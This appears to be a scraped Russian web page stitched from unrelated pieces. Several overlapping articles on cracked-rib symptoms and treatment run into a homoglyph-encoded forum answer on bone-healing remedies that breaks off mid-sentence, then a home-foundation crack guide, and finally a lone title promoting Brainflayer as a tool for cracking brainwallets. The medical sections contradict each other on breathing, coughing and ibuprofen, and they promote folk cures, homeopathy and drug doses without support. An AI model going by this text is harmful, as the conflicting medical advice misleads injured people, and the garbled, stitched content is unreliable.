Как понять что в ребре трещина: симптомы и признаки, что делать, как лечить

Трещина ребра — признаки, причины, симптомы, лечение и профилактика

Диагностика

При подозрении на трещину или перелом ребра следует записаться на прием к врачу-травматологу. Если имеются симптомы заболевания верхних дыхательных путей или легких необходима консультация терапевта. Чаще всего для диагностики трещины ребра бывает достаточно провести опрос и первичный осмотр. Больные могут четко показать место, где ощущается наиболее сильная боль. При пальпации можно выявить наиболее болезненный участок ребра. Главным признаком трещины ребра является «болезненность на протяжении» – при надавливании на любой участок ребра боль возникает в том месте, где произошла трещина ребра. Для подтверждения диагноза назначают:

• компьютерную томографию;
• рентгенография грудной клетки.

Лечение

Лечением трещины ребра занимается травматолог. Если при наличии трещины ребра имеются различные повреждения внутренних органов, назначают стационарное лечение. Во всех остальных случаях возможно лечение в домашних условиях. Лечение данного заболевания включает:

• назначение болеутоляющих лекарственных препаратов;
• прикладывают лед на место ушиба или повреждения;
• постельный режим;
• проводить дыхательную гимнастику;

Длительность лечения трещины ребра составляет до шести недель.

При неправильном лечении трещины ребра, возможно, его неправильное сращение, что может привести к различным осложнениям и дискомфорту.

Профилактика

Профилактика трещины ребра подразумевает:

• соблюдение правил дорожного движения;
• избегание травмоопасных ситуаций;
• своевременное выявление и лечение инфекционных и воспалительных заболеваний организма;
• умеренные физические нагрузки;
• профилактический осмотр у специалистов.

Литература и источники

Привес М. Г., Лысенков Н. К. Анатомия человека. — 11-е переработанное и дополненное. — Гиппократ. 

Анатомия // Энциклопедический словарь Брокгауза и Ефрона : в 86 т. (82 т. и 4 доп.). — СПб., 1890—1907.

Видео по теме:

Трещина ребра – симптомы, лечение, последствия

Всем известно, что жизнь человека непредсказуема и может вносить в наш привычный график неприятные изменения. От них никто не застрахован, как и от неожиданных травм, которые с нами случаются и могут привести к серьезным осложнениям. По статистике на сегодняшний день достаточно много людей обращается в больницу с такой травмой, как трещина ребра.

Трещина ребра – это общее нарушение целостности ребра. В медицинской терминологии такого обывательского понятия, как трещина ребра, не существует. В медицине, согласно с травматологическим заключением, трещина ребра является неполным переломом ребра, естественно, без смещения кости. В основном такое случается при сильном ушибе или при травматическом повреждении ребра.

Обычно трещина ребра не приносит серьезных последствий. Может наблюдаться кратковременный дискомфорт, который сопровождается периодическими болями в области ушиба. Если боли усиливаются и у вас есть подозрение на наличие трещины ребра, то нужно немедленно обратиться к врачу травматологу для установки точного диагноза и лечения больного ребра.

При травме ребра может произойти повреждение легкого или кровотечение вовнутрь грудной клетки – это может вызвать нежелательные последствия вплоть до летального исхода. Именно поэтому при любой травме ребра грудной клетки необходим рентген, чтобы можно было установить точный диагноз и вовремя предотвратить опасные осложнения.

В медицинской методике существует два вида появления этого заболевания: травматический и патологический неполный перелом ребер.

Травматический неполный перелом ребра обычно возникает непосредственно от прямого травматического воздействия на область грудной клетки. Это может быть мощный удар в область грудной клетки, дорожно-транспортные происшествия, всевозможные ранения, падения с высоты и т.д.

Патологический неполный перелом ребра – это вид трещины, при котором травма грудной клетки не наблюдается или настолько незначительна, что больной может и не вспомнить о ней ничего. Такая трещина ребра возникает при патологических процессах – поражении костной части ребра, опухолевых процессах в области грудной клетки, хронических воспалениях костной ткани ребра, туберкулезе ребер, заболевании крови. В связи с этим нарушается прочность ребер, они становятся настолько хрупкими, что могут ломаться при самых малых ушибах.

Вероятность наступления трещины ребра зависит не только от травмирующего фактора, но и от того, насколько развита мышечная масса человека и какой у него возраст. Например, у ребенка грудная клетка и ребра более эластичные, чем у взрослого человека. Именно поэтому такая трещина у детей возникает реже, чем у взрослых. В таких случаях у детей может возникнуть поднадкостничные переломы по образу «зеленой ветки».

Симптомы трещины в ребре

Без рентгенологического обследования определить трещину в ребре очень сложно, так как она может не проявляться конкретными симптомами. Но неспецифические симптомы трещины в ребре все же существуют. Главным из них в первую очередь становится боль, которая ощущается практически постоянно в области пораженного ребра. Обычно острая боль появляется сразу после травмы и длится в течение пяти суток.

Также особенностью болевого синдрома является дыхание. При глубоком вдохе боль резко усиливается, а при выдохе слабеет. При такой нестерпимой боли дыхание становится поверхностным, что в дальнейшем приводит к нехватке воздуха и отдышке. Также немаловажным симптомом трещины в ребре может стать кашель. Особенно ощущается боль при кашле у людей, у которых есть хронические заболевания верхних и нижних дыхательных путей. Это может быть хронический бронхит, астма или просто курение, особенно у курильщиков со стажем, которые по утрам не могут хорошо откашляться. Ведь кашель является защитным механизмом нашего организма, с помощью которого дыхательные пути очищаются от инфекций и мокроты.

Как правило, при сильных болях в местах трещины кашель становится менее эффективным и слабым. В связи с этим происходит застой мокроты в бронхах, что в дальнейшем приводит к воспалению легких. Особенно это касается пожилых людей, которые мало двигаются либо вообще лежат. В таком случае у них после перелома ребра уже на вторые сутки может обнаружиться пневмония.

Обычно люди с трещиной ребра четко указывают на поврежденное место – там, где у них болит. В связи с этим существует еще один симптом трещины в ребре, такой как «болезненность на протяжении». Это говорит о том, что на какой бы мы участок ребра не давили, боль ощущается именно в том месте, где находится трещина. Кроме того, вокруг того места, где находится трещина в ребре, появляется отек и припухлость кожи, а также может быть синюшность мягких тканей, вызванная образованием гематомы.

Лечение заболевания

Как уже говорилось, появление трещины в ребре может вызвать травма или физическая нагрузка, которая в дальнейшем и провоцирует ощущение сильной боли. Лечение трещины в ребре осуществляется так же, как и лечение полного перелома. Это необходимо для того, чтобы предотвратить максимальное смещение. Если лечение трещины в ребре проводится неправильно, возникает большая вероятность неправильного срастания кости ребра.

Сразу после травмы, в течение первых суток, рекомендуется приложить холод на поврежденное ребро, это может быть пластмассовая бутылка, либо грелка с холодной водой. Такую процедуру можно делать несколько раз в день по 10–15 минут. Это поможет уменьшить боль и воспалительный процесс. Как правило, лечение заключается в обезболивании. Боль длится не более пяти дней, а поврежденное ребро в течение нескольких недель благополучно срастается и после этого не оставляет никаких последствий.

Если предпринимать такие простые меры, то от неприятных ощущений можно избавиться в самые короткие сроки и вернуться к своим повседневным обязанностям. Если же врач травматолог при осмотре трещины ребра обнаружил повреждение внутренних органов, то вам, скорее всего, будет назначено стационарное лечение с приемом болеутоляющих средств. А во всех остальных случаях лечение трещины в ребре можно проводить в домашних условиях. Срок терапии обычно составляет не более шести недель.

Трещина в ребре: симптомы, лечение

Трещина ребра без осложнений не требует стационарного лечения, тем более хирургического вмешательства. Оно может осуществляться в домашних условиях при соблюдении ограничений в движениях. Кроме этого нужно:

• В первые несколько дней регулярно кладите на пострадавшие ребра пакет со льдом, чтобы уменьшить отек
• Отдыхайте.
• Дышите нормально и кашляйте, когда вам нужно — это помогает убрать слизь из легких, чтобы предотвратить инфекции грудной клетки
• Ходить и иногда двигайте плечами, чтобы очистить от слизи легкие
• Делайте 10 медленных глубоких вдохов каждый час, чтобы очистить легкие
• В первые несколько ночей постарайтесь больше спать.
• Принимать обезболивающие.

Лекарства

В качестве болеутоляющего рекомендуют применять ибупрофен — нестероидный противовоспалительный препарат. Максимальный период приёма препарата составляет 5 суток. Детям его назначают, начиная с 20кг массы тела (примерно с 6 лет). Избегайте приема ибупрофена в течение 48 часов после травмы, поскольку это может замедлить заживление. [5]

Суточную дозу рассчитывают так: 20-30мг на килограмм веса. При 30кг и больше рекомендуют 1 таблетку единоразово, повторить можно не ранее 6 часов. Взрослые принимают 1-2 штуки каждые 4-6 ч.

Противопоказан при повышенной индивидуальной чувствительности к препарату, в третьем семестре беременности, язвенной болезни, тяжёлой почечной, сердечной, печёночной недостаточности.

Из побочных реакций возможны аллергия, повышение артериального давления, тошнота, диарея, появление одышки, бронхоспазма, снижение уровня гемоглобина.

При сильных болях прибегают к инъекциям новокаина — препарата для местной анестезии. Его использование требует осторожности для пациентов с сердечно-сосудистой недостаточностью, пожилых людей, беременных и кормящих женщин. К детям он вообще не применяется.

Доза взрослым в среднем колеблется в пределах 50-70мл 0,5% раствора новокаина. Для него присущи побочные эффекты в виде слабости, головокружений, сонливости, аритмии, брадикардии, сыпи на коже, зуда. Из местных реакций возможна боль и отёк в месте укола.

Если от удара образовалась гематома наружно можно использовать гепариновую мазь, но только для взрослых. Она не только ускорит исчезновение синяка, но и окажет обезболивающее и противовоспалительное действие. Её следует наносить тонким слоем на ушибленное место несколько раз в день.

Поможет снять боль фастум-гель. Не применяется при открытых ранах, в 3 триместре беременности, аллергии на его компоненты. Наносится на кожу 1-3 раза в день и легко втирается в её поверхность.

Витамины

Для укрепления костей, ускорения их заживления необходимы кальций, магний, цинк, фосфор. Усвоиться им помогает витамин D. [6]  Организм при переломах также нуждается в аскорбиновой кислоте, витаминах В6, В12, К2. Нужно позаботиться, чтобы эти элементы присутствовали в продуктах питания, а также принимать поливитаминные комплексы. Следует помнить, что кофе, алкоголь вымывает кальций из костей. [7] Однако, у женщин в постменопаузе умеренное употребление алкоголя положительно коррелирует с минеральной плотностью костей, а также с уровнями эстрадиола в сыворотке. [8]

Физиотерапевтическое лечение

Обычно в первые 2 недели повреждения кости физиотерапевтическое лечение направлено на снятие болевого синдрома, рассасывание гематом, устранение отёков, для чего применяется ультрафиолетовое облучение, электрофорез, интерференционные токи — процедуры, требующие присутствия в лечебном учреждении. [9] При трещине ребра предписан покой и нахождение дома, поэтому их назначение с такой травмой не актуально.

Народное лечение

В народе очень популярный рецепт для ускорения сращивания костей — порошок из яичной скорлупы. Клинические и экспериментальные исследования показали, что порошок яичной скорлупы оказывает положительное влияние на кости и хрящи и что он подходит для профилактики и лечения остеопороза. [10] Его принимают раз в день по ложке, предварительно смешав с лимонным соком.

Также варят холодец из говяжьих костей, долго вываривая жидкость и не добавляя соль. Зажелированный бульон способствует выработке коллагена в организме.

К травмированному месту можно прикладывать компресс из смеси сырого желтка и 0,5 чайной ложки соли. Для примочек также используют отвары трав: корни живокости и окопника, а внутрь принимать ромашку, валериану, зверобой.

Гомеопатия

Ускоряют исцеление костей такие гомеопатические препараты, как арника, симфитум (из окопника лекарственного), эвпаториум, кальциум фосфорикум (фосфат кальция в разведении 3Д и 6Д). Дозы и способ применения определяет гомеопат индивидуально. Для подтверждения результатов эффективности применения гомеопатических средств необходимы дальнейшие высококачественные исследования. [11]

симптомы и лечение (в домашних условиях)

Трещина в ребре относится к разряду травм, которые бывает не просто идентифицировать. На нее могут указывать ряд косвенных признаков.

В этой статье мы расскажем о том, какие бывают симптомы трещины в ребре, почему возникает данная травма, чем она опасна и как ее лечить.

Причины травмы

Наиболее распространенные факторы появления трещины — удары в область грудной клетки, сдавливание (например, при занятиях борьбой), падение на область ребер. Часто травмирование возникает в результате дорожно-транспортных происшествий.

Спровоцировать формирование трещины у человека могут и некоторые болезненные явления в организме. Этому могут способствовать следующие заболевания:

• Патологии состава крови;
• Злокачественные новообразования;
• Воспалительные процессы кости;
• Нарушение состава костной ткани в результате остеопороза и других болезней;
• Гнойные воспаления.

Беременные и пожилые люди входят в группу риска вследствие того, что их костная ткань становиться более хрупкой, легче подверженной разрушению. У детей, наоборот, данная травма встречается реже, потому что их грудная клетка отличается большей эластичностью.

Характерные проявления травмы

Из-за травматического повреждения кости у пострадавшего нередко развивается болевой симптом в грудной области. Симптомы трещины ребра заключаются в следующем:

• Продолжительные болевые ощущения в ушибленном месте, значительно усиливающиеся при движениях и в процессе дыхания;
• Приступы кашля;
• Ощущение нехватки воздуха;
• Патологии сна;
• Воспалительный процесс, кровоподтек и отек в месте травмирования;
• Ощущение усталости, иногда страха.

Характерная особенность данной травмы — появление боли во время дыхания. Она нарушает нормальное поступление кислорода в организм, поскольку объем дыхательных движений сокращается.

Ряд признаков трещины в ребре имеет определенное сходство с поверхностной травмой грудины. Характерными отличиями является наличие одышки и нарушений сна.

Диагностика травмы и принципы ее лечения

Пострадавшему необходимо срочно обследоваться у травматолога при подозрении на данный вид травмы. Диагноз ставится только после тщательного врачебного осмотра. Главная диагностическая процедура — это рентгенография. На снимке обычно четко видны границы нарушения целостности реберной кости. Дополнительно врач наблюдает за дыханием больного, что дает ценную информацию в постановке диагноза.

Главное отличие лечения трещины ребра заключается в том, что на пораженную область тела невозможно наложить фиксирующую повязку. Несмотря на это, риск получения повторной трещины не высокий. Пациенту необходимо тщательно выполнять все рекомендации врача.

Для устранения болевого синдрома могут назначаться следующие препараты:

• Ибупрофен;
• Диклофенак;
• Напроксен.

Дополнительно необходимо прикладывать компрессы со льдом на пораженный участок. Это снизит риск воспаления и интенсивность болевых ощущений.

Из-за риска развития сильных болей пациенту рекомендуется существенно снизить двигательную активность. В начале терапии показан постельный режим.

Чтобы зафиксировать повреждение, применяется метод бинтования грудной клетки. Это необходимо для снижения амплитуды движений. Сколько времени требуется, чтобы вылечить данное травмирование? Как правило, срок восстановления кости ребра составляет до 3-х нед. Затем можно нормально двигаться. Интенсивную физическую работу следует ограничить еще в течение одного месяца (несоблюдение такого требования может вызвать повторную трещину или даже перелом).

Дальнейшее лечение происходит дома. Следует воздержаться от глубоких вдохов. Не рекомендуется кашлять. Дополнительно следует принимать витамины группы Д.

Лечение с помощью народных средств

Народное лечение является дополнением к медикаментозному. Оно способствует ускорению выздоровления и снижению вероятности развития осложнений. Используются примочки и компрессы. Наиболее эффективные народные способы лечения трещины ребра, следующие:

1. Примочки из золотой розги.
2. Примочки отвара коры граната. Для приготовления отвара необходимо варить кору в кипятке не менее получаса.
3. Полезно принимать по полстакана отвара шиповника за час до еды.
4. Перед едой принимают мумие, растворив его в 50 миллилитрах чистой воды.
5. Розовое масло смешивается с мумие и употребляется внутрь (принимать до еды).
6. Полезно растирание ушибленного места пихтовым маслом (необходимо всего несколько капель).
7. Перемешать скорлупу из 10 яиц с соком 5 гранатов, литром меда и 10 головками чеснока. Настаивать сутки в условиях комнатной температуры и 3 суток в холодильнике. Пить по одной ложке вместе с таким же количеством оливкового масла 3 раза в день.

Особенности восстановительного периода

Продолжительность полного восстановления зависит от общего состояния организма пострадавшего, размера повреждения.

Трещина ребра не может восстановиться в течение нескольких суток. Продолжительность реабилитационного периода будет зависеть от того, насколько правильно пациент выполняет все рекомендации специалиста.

Трещина ребра заживает в такой последовательности:

1. Обострение. Происходит в течение 7 суток. Все это время пациент ощущает сильные боли в районе грудной клетки. Ошибочно мнение некоторых пациентов, будто после прекращения боли кость полностью восстанавливается. Она продолжает заживать, и в это время крайне важно не допускать интенсивной физической нагрузки.
2. Этап заживления. Длится еще на протяжении одной-двух недель. Общая целостность кости постепенно восстанавливается.
3. Восстановительный этап продолжается до 4-х недель. В это время важно исключить интенсивные физические нагрузки на ребро.

Возможны следующие осложнения трещины ребра:

• Усиление болевых ощущений в месте поражения;
• Повреждение легкого;
• Кровоизлияние в грудную клетку;
• Воспаление ткани легкого;
• Редко — разложение ткани.

Профилактика данной травмы состоит в соблюдении простых рекомендаций:

• Соблюдение правил дорожного движения;
• Прохождение профилактического врачебного осмотра;
• Осторожность во время занятий спортом;
• Своевременное лечение всех патологических состояний в организме;
• Исключение вредных привычек — таких, как употребление алкоголя и курение;
• Употребление достаточного количества витамина Д;
• Прием медикаментов только по назначению доктора.
• Соблюдение осторожности в гололед.

Трещина ребра — часто встречающаяся травма. Лечение ее заключается в ограничении чрезмерной подвижности и применении анальгетиков и противовоспалительных лекарств. Терапию можно проводить дома, поэтому нахождение пациента в условиях стационара не обязательно. Полноценное восстановление трудоспособности наступает примерно через 1,5-2 месяца.

«Как лечить трещину в ребре?» – Яндекс.Кью

Мyмиe!!

Paccмaтpивaя paзличныe пpeпapaты для cpaщивaния кocтeй пpи пepeлoмax, в пepвyю oчepeдь cлeдyeт oбpaтить внимaниe нa мyмиe, тo ecть цeлeбнyю гopнyю cмoлy. Этo мнoгoкoмпoнeнтный биoлoгичecкий cтимyлятop.

Пpимeнeниe мyмиe пpи пepeлoмax oкaзывaeт пoлoжитeльный эффeкт нa oбщee cocтoяниe и cпocoбcтвyeт бoлee быcтpoмy вoccтaнoвлeнию кocтнoй cтpyктypы. Этo cpeдcтвo cпocoбcтвyeт пoвышeнию cкopocти oбмeнныx пpoцeccoв.

Кpoмe тoгo, пpимeнeниe мyмиe пpи пepeлoмax cнижaeт pиcк paзвития ocлoжнeний, т.к. пoзвoляeт cнизить oтeчнocть мягкиx ткaнeй и интeнcивнocть вocпaлитeльнoгo пpoцecca. Этo cpeдcтвo oкaзывaeт пoдaвляющee дeйcтвиe нa пaтoгeннyю микpoфлopy, пoэтoмy cнижaeт pиcк фopмиpoвaния гнoйныx oчaгoв.

Пpи лeчeнии пepeлoмoв кocтeй 1 тaблeткy мyмиe cлeдyeт pacтвopять в cтaкaнe тeплoй кипячeнoй вoды. Тaкoй pacтвop cлeдyeт пpинимaть oт 1 дo 4 paз в cyтки. Длитeльнocть кypca тepaпии этим cpeдcтвoм cocтaвляeт oт 5 дo 10 днeй.

Кaльций

Лeкapcтвa пpи пepeлoмax, coдepжaщиe кaльций, нaзнaчaютcя пaциeнтaм вcex вoзpacтoв. Тaкиe cpeдcтвa cпocoбcтвyют быcтpoмy зaживлeнию пoвpeждeнныx кocтныx элeмeнтoв. Тoлькo пpи пpaвильнoм пoдбope пpeпapaтoв мoжнo дocтичь пoлoжитeльнoгo эффeктa.

Кaльций бeз дoпoлнитeльныx кoмпoнeнтoв плoxo ycвaивaeтcя opгaнизмoм. Xopoший эффeкт мoжeт быть дocтигнyт тoлькo пpи eгo пpиeмe в coчeтaнии c витaминoм D. Ecть eщe pяд элeмeнтoв, кoтopыe мoгyт пoвыcить cкopocть ycвoeния кaльция. Чacтo иcпoльзyютcя cлeдyющиe пpeпapaты кaльция пpи пepeлoмax:

1. Кaльцeмин.

2. Витpyм-Кaльций.

3. Кaльций-Д3 Никoмeд.

4. Глюкoнaт кaльция.

Дoзиpoвкy пpeпapaтa нaзнaчaeт вpaч индивидyaльнo. Пpи пepeлoмe cлeдyeт пpинимaть пo 2-3 тaблeтки в cyтки. Зaпивaть cpeдcтвo cлeдyeт вoдoй. Oднoвpeмeннoe yпoтpeблeниe пpeпapaтoв кaльция c кoфe cнижaeт иx эффeктивнocть.

Caмocтoятeльнo пpинимaть пpeпapaты кaльция и пpeвышaть дoзиpoвки, yкaзaнныe вpaчoм, нeльзя, т. к. избытoк этoгo микpoэлeмeнтa в opгaнизмe мoжeт нaнecти нeпoпpaвимый вpeд.

Излишки мoгyт oceдaть в пeчeни, жeлчнoм пyзыpe и пoчкax, cтaнoвяcь пpичинoй фopмиpoвaния кaмнeй. Кpoмe тoгo, oни мoгyт вызвaть нeкoтopыe зaбoлeвaния cepдeчнo-cocyдиcтoй cиcтeмы.

Витaмины

Тaкиe тяжeлыe тpaвмы, кaк пepeлoмы, нeгaтивнo oтpaжaютcя нa oбщeм cocтoянии. Для пoддepжки opгaнизмa нaзнaчaютcя витaминныe кoмплeкcы. Тaблeтки пpи пepeлoмax пpимeняютcя peдкo, т. к. пoлeзныe вeщecтвa из ниx xyжe ycвaивaютcя.

Лyчший эффeкт дaют пpeпapaты в фopмe инъeкций. Cпocoбcтвyют быcтpoмy вoccтaнoвлeнию кocтeй витaмины гpyппы В. Нepeдкo иcпoльзyютcя мнoгoкoмпoнeнтныe кoмплeкcы, в кoтopыe дoпoлнитeльнo включeны витaмины D, К, C.

Нepeдкo нaзнaчaютcя пpeпapaты, кoтopыe coдepжaт мaгний, цинк, фocфop и фoлиeвyю киcлoтy. Эти вeщecтвa в coчeтaнии c пpeпapaтaми кaльция cпocoбcтвyют cкopeйшeмy вoccтaнoвлeнию кocтныx ткaнeй. Витaминныe кoмплeкcы и дoзиpoвки пoдбиpaютcя вpaчoм для кaждoгo пaциeнтa индивидyaльнo.

Мaзи

Пpимeнeниe мaзeй oпpaвдaнo тoлькo в пepиoд peaбилитaции, тo ecть пocлe cнятия гипca. Иcпoльзoвaниe нeкoтopыx пpeпapaтoв в этoй лeкapcтвeннoй фopмe cпocoбcтвyeт ycтpaнeнию гeмaтoм и зacтoйныx пpoцeccoв. Кpoмe тoгo, пpимeнeниe мaзeй пoзвoляeт ycтpaнить бoли.

Пpи пepeлoмax нepeдкo пpимeняютcя тaкиe cpeдcтвa, кaк:

1. Тpoкceвaзин.

2. Тpayмeль C.

3. Гeпapинoвaя мaзь.

Лeкapcтвeннoe cpeдcтвo пpи пepeлoмax кocтeй дoлжнo быть нaзнaчeнo вpaчoм. Тpayмeль C являeтcя гoмeoпaтичecким cpeдcтвoм, пpимeняющимcя для yлyчшeния кpoвooбpaщeния и ycтpaнeния вocпaлитeльнoгo пpoцecca. Кpoмe тoгo, этo лeкapcтвo пoнижaeт интeнcивнocть бoлeвoгo cиндpoмa, вoзникaющeгo в вoccтaнoвитeльный пepиoд пocлe пepeлoмa.

В дoпoлнeниe к тaблeтиpoвaнным cpeдcтвaм для yкpeплeния кocтeй нepeдкo в пepиoд peaбилитaции нaзнaчaeтcя Гeпapинoвaя мaзь. Oнa cпocoбcтвyeт yлyчшeнию кpoвooбpaщeния в мягкиx ткaняx, ycтpaнeнию гeмaтoм и зacтoйныx пpoцeccoв. Тpoкceвaзин гeль пoзвoляeт быcтpee ycтpaнить пpoблeмы c вeнoзным кpoвooбpaщeниeм, кoтopыe мoгyт пoявитьcя, ecли кoнeчнocть длитeльнoe вpeмя былa иммoбилизoвaнa c пoмoщью гипca.

Эффeктивнocть

Пpaвильнo пoдoбpaнныe лeкapcтвa пpи пepeлoмax для быcтpoгo cpacтaния кocтeй нeoбxoдимы. У мoлoдыx людeй пpoцecc peгeнepaции кocтнoй ткaни пpoтeкaeт быcтpo. Этo cвязaнo c бoлee выcoким ypoвнeм мeтaбoлизмa. C вoзpacтoм пpoцecc вoccтaнoвлeния пocлe пepeлoмa мoжeт зaтягивaтьcя.

В pядe cлyчaeв мoгyт вoзникaть ocлoжнeния в видe нaгнoeния. Тoгдa бoльнoмy тpeбyeтcя пить aнтибиoтики и дpyгиe cильнoдeйcтвyющиe пpeпapaты, кoтopыe нeгaтивнo oтpaжaютcя нa cocтoянии вceгo opгaнизмa.

Для cнижeния pиcкa тaкoгo нeблaгoпpиятнoгo тeчeния oбязaтeльнo нyжнo пpинимaть пpoпиcaнныe вpaчoм пpeпapaты, cпocoбcтвyющиe зaживлeнию кocтныx элeмeнтoв и мягкиx ткaнeй.

Ocтeoгeнoн

Нepeдкo пpи cлoжныx пepeлoмax нaзнaчaeтcя пpeпapaт Ocтeoгeнoн, кoтopый cпocoбcтвyeт вoccтaнoвлeнию кaльциeвo-фocфopнoгo oбмeнa и ycкopeнию мeтaбoлизмa в кocтныx ткaняx. Взpocлым пpи пepeлoмax нaзнaчaeтcя eгo пpиeм пo 4 тaблeтки в cyтки. Пpoдoлжитeльнocть зaвиcит oт cтeпeни пoвpeждeния.

Ocтeoгeнoн cлeдyeт пpинимaть тoлькo пo peкoмeндaции вpaчa и в yкaзaнныx им дoзиpoвкax. В peдкиx cлyчaяx пpи длитeльнoм иcпoльзoвaнии cpeдcтвa мoжeт paзвитьcя гипepкaльциeмия. Пpи пoявлeнии дaннoгo пoбoчнoгo эффeктa нeoбxoдимo cнизить дoзиpoвкy пpeпapaтa. Кpoмe тoгo, нepaциoнaльнoe иcпoльзoвaниe Ocтeoгeнoнa мoжeт cпpoвoциpoвaть пoявлeниe пpoблeм c пищeвapeниeм и aллepгичecкиx peaкций.

Xoндpoитин

Для aктивизaции pocтa xpящeвoй ткaни нa пepвичнoм этaпe oбpaзoвaния кocтнoй мoзoли бoльшyю пoльзy мoгyт пpинecти лeкapcтвeнныe cpeдcтвa, имeющиe в cocтaвe xoндpoитин. Oни cпocoбcтвyют нe тoлькo aктивизaции пpoцeccoв зaживлeния ткaнeй, нo и oкaзывaют влияниe нa кaчecтвo фopмиpyющeйcя кocтнoй мoзoли. Пpиeм пpeпapaтoв, coдepжaщиx xoндpoитин, пoзвoляeт нopмaлизoвaть питaниe пoвpeждeнныx ткaнeй и yвeличить плoтнocть кocтeй. Этo пoвышaeт cкopocть cpacтaния элeмeнтoв пpи пepeлoмax.

Пpeпapaты, включaющиe xoндpoитин, выпycкaютcя в фopмe тaблeтoк, пopoшкa, инъeкций и гeлeй.

Нaибoлee чacтo нaзнaчaeтcя пpимeнeниe лeкapcтв в фopмe тaблeтoк. Пpи пepeлoмax нepeдкo иcпoльзyeтcя Тepaфлeкc. Тaблeтки cлeдyeт пpoглaтывaть цeликoм, нe

Трещины фундамента | Признаки фундаментальных проблем

Знание признаков раннего оповещения о проблемах с фундаментом может предотвратить проблемы, которые в конечном итоге могут стоить десятки тысяч долларов. Чем раньше вы выявите потенциальные проблемы, тем проще — и дешевле — их устранить.

4 основных предупреждающих знака для помещений

Дома со временем оседают, и небольшая неравномерность не вызывает паники. В то же время вы должны быть внимательны к этим предупреждающим признакам того, что происходят более драматические изменения:

1. Дверь начинает заедать или не запирается.
2. Трещины появляются на стенах, особенно над дверными проемами, окнами или там, где стены встречаются с потолками.
3. Трещины открываются в виниловой или керамической плитке над бетонным полом.
4. Окна, которые раньше легко открывались и закрывались, внезапно начинают зависать или не закрываются полностью.

Популярные чтения

Коронавирусная ипотечная помощь: что нужно знать

финансирование

Это смутное время, но кредиторы вводят средства правовой защиты, такие как терпение, чтобы помочь домовладельцам.

Как продезинфицировать ваш дом во время коронавируса

Очистка и удаление

Раствор для отбеливателя или спирт — это лучший выбор для поддержания вашего дома в санированном состоянии.

5 стратегий сбережения отношений для любой пары, покупающей дом

Купи продай

Покупка дома захватывающая. Спорить, покупая дом? Не так много.Вот как сохранить мир во время домашней охоты.

Проверьте снаружи

Выйдя на улицу, проверьте, является ли ваш фундамент прямым, наблюдая длину стены вашего фундамента с каждого угла. Стены должны быть в основном прямыми, как вверх, так и вниз и из стороны в сторону. Проверьте наличие наклонных стен с уровнем.

Выпуклость или изгиб в фундаментном блоке или бетонной стене могут сигнализировать о смещении фундамента или о том, что почва вокруг вашего фундамента может расширяться и сжиматься, оказывая давление на стены.

самых популярных советов по обслуживанию дома

17 вещей, которые никогда, никогда, никогда не делай в своем доме

Советы по обслуживанию дома

Сохраняйте винтажные обои, но модернизируйте ретро-термостат, экономящий время и деньги, до программируемых.

Ты только думаешь, что это правда: 10 мифов стоят времени и денег

Советы по обслуживанию дома

Сохраните ваши деньги для более важных вещей, таких как, вы знаете, ипотека.

5 хитростей, чтобы не дать трубам взорваться этой зимой

Советы по обслуживанию дома

Даже если вы думаете, что они уже начали замерзать.

Найдите 9 проблем с этим домом (совет для новых домовладельцев)

Советы по обслуживанию дома

Контрольные признаки того, что вы занимаетесь ремонтом домовладельцев, например парковкой на траве.

12 вопросов, которые вы хотели бы задать перед переездом

Советы по обслуживанию дома

Избегайте сожалений, зная, какие вопросы задать REALTOR® или владельцу, прежде чем совершить покупку нового дома.

Бетон для слабых зондов

Если в вашем доме заложено фундаментное ограждение по периметру, а бетон кажется разбитым и отслаивающимся, проткните его в нескольких местах с помощью прочной отвертки.Бетон должен быть таким твердым, чтобы его не повредить.

Если вам удастся сломать его или сломать кусок, бетон может испортиться, потому что смесь содержала грязный или соленый песок или слишком много воды. Эта проблема, распространенная в домах, построенных в начале 1900-х годов в некоторых частях страны, не имеет решения, если не считать нового фундамента.

Проверка конструктивных элементов

В фундаментных системах

есть другие элементы, кроме периметральной фундаментной стены. В подвале или подвале найдите посты и бетонные опоры или опоры.Столбы должны стоять прямо и быть прочно закрепленными под балками, которые они поддерживают. Днища постов должны прочно опираться на бетонные опоры.

Вы не должны найти лужи или увидеть мокрое обрамление. Проверьте на гниение, прощупывая деревянные столбы с помощью отвертки или шило.

Лужи и другие признаки влаги в пространстве для ползания могут указывать на плохой дренаж вокруг основания периметра. Убедитесь, что водосточные желоба не заглушены, и что почва уклоняется от фундамента со скоростью 6 дюймов на каждые 10 горизонтальных футов.

относящиеся:

Чтение Трещины Фонда

При отверждении бетона он немного сжимается. Там, где бетон не может усадиться равномерно, он имеет тенденцию к растрескиванию. Бетонные и блочные фундаменты обычно имеют как минимум несколько трещин. Хитрость заключается в распознавании того, какие из них незначительны, а какие серьезны. Вот список от наименее до самого серьезного:

Волнистые трещины в ступке между бетонными блоками редко стоит беспокоиться.

Трещины в L-образной секции , например, когда фундамент опускается вниз по склону, вероятно, являются усадочными трещинами, особенно если они извилистые и сужаются до линии роста волос.Это не является структурной проблемой, хотя вам может потребоваться подключить их, чтобы подвальное пространство или пространство для сканирования было сухим.

Трещины на ступеньках лестницы в кладочных швах представляют большую проблему, особенно если стена выпуклая или трещина шире ¼ дюйма. Засоренный водосточный желоб или другая проблема с влажностью снаружи, вероятно, оказывает давление на эту часть стены.

Горизонтальные трещины являются наиболее серьезными. Возможно, что водонасыщенная почва замерзла и расширилась, толкая и разрушая фундамент.Или у вас может быть почва, которая увеличивается во влажном состоянии и сжимается в сухом. Плохая новость: вам, вероятно, нужен совершенно новый фундамент.

Получение профессионального мнения

Инженер-строитель может определить, указывают ли эти предупреждающие знаки на нормальное оседание или на структурные повреждения. Ожидайте, что вы заплатите $ 500-700 за инженера-строителя, который осмотрит ваш фундамент и предоставит оценку, и до $ 2000 за полный комплект чертежей для инженерного решения.

Сколько стоит фиксация фонда?

Существует несколько методов решения проблем с фундаментными стенами, в том числе:

• Болтование на стальных скобах (500–70 долл. Каждая, расположенных на расстоянии около 6 футов вдоль стены) или использование эпоксидной смолы для склеивания ремней из углеродной сетки (350–450 долл. США, расположенные аналогично).
• Подстилающий фундамент винтовыми винтами или бетонными опорами. Установка стоит от 1200 до 1500 долларов за пирс, один на каждые 6-8 футов.
• Новый фонд, который может стоить до 40 000 долларов.

Если вы обнаружите небольшие трещины (шириной менее 1/16 дюйма), закрасьте их бетонной гидроизоляционной краской (около 25 долл. США / галлон). Затем периодически проверяйте, не потрескалась ли краска, что означает, что зазор открывается под давлением.

относящиеся:

,

Brainflayer: лучший инструмент для взлома Brainwallet

